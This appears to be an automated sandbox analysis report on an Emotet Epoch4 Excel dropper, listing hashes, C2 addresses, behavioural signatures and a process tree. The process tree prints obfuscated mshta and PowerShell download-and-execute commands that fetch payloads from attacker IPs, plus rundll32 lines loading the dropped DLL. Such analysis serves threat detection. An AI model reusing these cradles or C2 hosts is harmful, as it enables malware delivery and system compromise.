emotet | a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4

Analysis

max time kernel
132s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-en-20220112
submitted
20/01/2022, 19:14

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General

Target

5427559789147265183.xls
Size

142KB
MD5

dbec7c9243ac15b3a8a655df66c73b36
SHA1

bc2363c0f1aeb0167b933b99ccfc2d26e24a795f
SHA256

a2f32b5bfd78eeee7b3d4d44b4da8c8aeb98ab866a7998e2adaabc80cd1247a4
SHA512

66108f0128d7d2fa1900d98c60a752699b1134b80d678754f1ad6989ab086f5c41075e598ae4e1442544731aceedf7d204a243db6209a09e9d6da28d9c256745

Score

10^/10

emotet epoch4 banker persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	808	1808	cmd.exe	52

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1516 created 2664	1516	WerFault.exe	67

Blocklisted process makes network request 5 IoCs

flow	pid	Process
40	2664	mshta.exe
41	3044	powershell.exe
43	3044	powershell.exe
45	3044	powershell.exe
65	2572	rundll32.exe

Downloads MZ/PE file
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
3568	rundll32.exe
1532	rundll32.exe
2664	rundll32.exe
2572	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Duxncgsqgddj\tojzukzntrt.pvq	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3692	2664	WerFault.exe	67

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1808	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3044	powershell.exe
3044	powershell.exe
3692	WerFault.exe
3692	WerFault.exe
2572	rundll32.exe
2572	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE
1808	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1808 wrote to memory of 2908	1808	EXCEL.EXE	62
PID 1808 wrote to memory of 2908	1808	EXCEL.EXE	62
PID 1808 wrote to memory of 808	1808	EXCEL.EXE	65
PID 1808 wrote to memory of 808	1808	EXCEL.EXE	65
PID 808 wrote to memory of 2664	808	cmd.exe	67
PID 808 wrote to memory of 2664	808	cmd.exe	67
PID 2664 wrote to memory of 3044	2664	mshta.exe	70
PID 2664 wrote to memory of 3044	2664	mshta.exe	70
PID 1516 wrote to memory of 2664	1516	WerFault.exe	67
PID 1516 wrote to memory of 2664	1516	WerFault.exe	67
PID 3044 wrote to memory of 3592	3044	powershell.exe	75
PID 3044 wrote to memory of 3592	3044	powershell.exe	75
PID 3592 wrote to memory of 3568	3592	cmd.exe	76
PID 3592 wrote to memory of 3568	3592	cmd.exe	76
PID 3592 wrote to memory of 3568	3592	cmd.exe	76
PID 3568 wrote to memory of 1532	3568	rundll32.exe	77
PID 3568 wrote to memory of 1532	3568	rundll32.exe	77
PID 3568 wrote to memory of 1532	3568	rundll32.exe	77
PID 1532 wrote to memory of 2664	1532	rundll32.exe	79
PID 1532 wrote to memory of 2664	1532	rundll32.exe	79
PID 1532 wrote to memory of 2664	1532	rundll32.exe	79
PID 2664 wrote to memory of 2572	2664	rundll32.exe	80
PID 2664 wrote to memory of 2572	2664	rundll32.exe	80
PID 2664 wrote to memory of 2572	2664	rundll32.exe	80

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5427559789147265183.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1808
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2908
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:808
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3044
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3592
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3568
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1532
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Duxncgsqgddj\tojzukzntrt.pvq",iOoroFs
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2664
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Duxncgsqgddj\tojzukzntrt.pvq",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:2572
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2664 -s 1720
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:508

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 78b2f955afbe3b2dfcdf9dec74574b32 FHrP0mqSN0m2aVNZ/L2hQQ.0.1.0.0.0
1⤵
- Modifies data under HKEY_USERS
PID:2216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:2348

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 2664 -ip 2664
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:1516

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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memory/1532-871-0x0000000005060000-0x0000000005086000-memory.dmp

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memory/1532-869-0x0000000005000000-0x0000000005026000-memory.dmp

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memory/1532-867-0x0000000004F20000-0x0000000004F46000-memory.dmp

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memory/1532-874-0x00000000051E0000-0x0000000005206000-memory.dmp

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memory/1532-862-0x0000000004670000-0x0000000004696000-memory.dmp

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memory/1808-137-0x00007FFDDCF90000-0x00007FFDDCFA0000-memory.dmp

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memory/1808-130-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1808-916-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1808-917-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1808-918-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1808-919-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1808-138-0x00007FFDDCF90000-0x00007FFDDCFA0000-memory.dmp

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memory/1808-134-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1808-133-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1808-132-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/1808-131-0x00007FFDDF090000-0x00007FFDDF0A0000-memory.dmp

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memory/2572-887-0x0000000004A10000-0x0000000004A36000-memory.dmp

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memory/2572-889-0x0000000004B20000-0x0000000004B46000-memory.dmp

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memory/2572-895-0x0000000004E10000-0x0000000004E36000-memory.dmp

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memory/2572-879-0x00000000040C0000-0x00000000040E6000-memory.dmp

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memory/2572-883-0x00000000048C0000-0x00000000048E6000-memory.dmp

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memory/2572-885-0x0000000004920000-0x0000000004946000-memory.dmp

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memory/2572-893-0x0000000004D30000-0x0000000004D56000-memory.dmp

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memory/2572-891-0x0000000004C40000-0x0000000004C66000-memory.dmp

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memory/2664-876-0x00000000046A0000-0x00000000046C6000-memory.dmp

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memory/3044-856-0x00000276E8206000-0x00000276E8208000-memory.dmp

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memory/3044-864-0x00000276E87B0000-0x00000276E8826000-memory.dmp

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memory/3044-855-0x00000276E8760000-0x00000276E87A4000-memory.dmp

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memory/3044-852-0x00000276E8203000-0x00000276E8205000-memory.dmp

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memory/3044-851-0x00000276E8200000-0x00000276E8202000-memory.dmp

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memory/3044-850-0x00000276E81B0000-0x00000276E81D2000-memory.dmp

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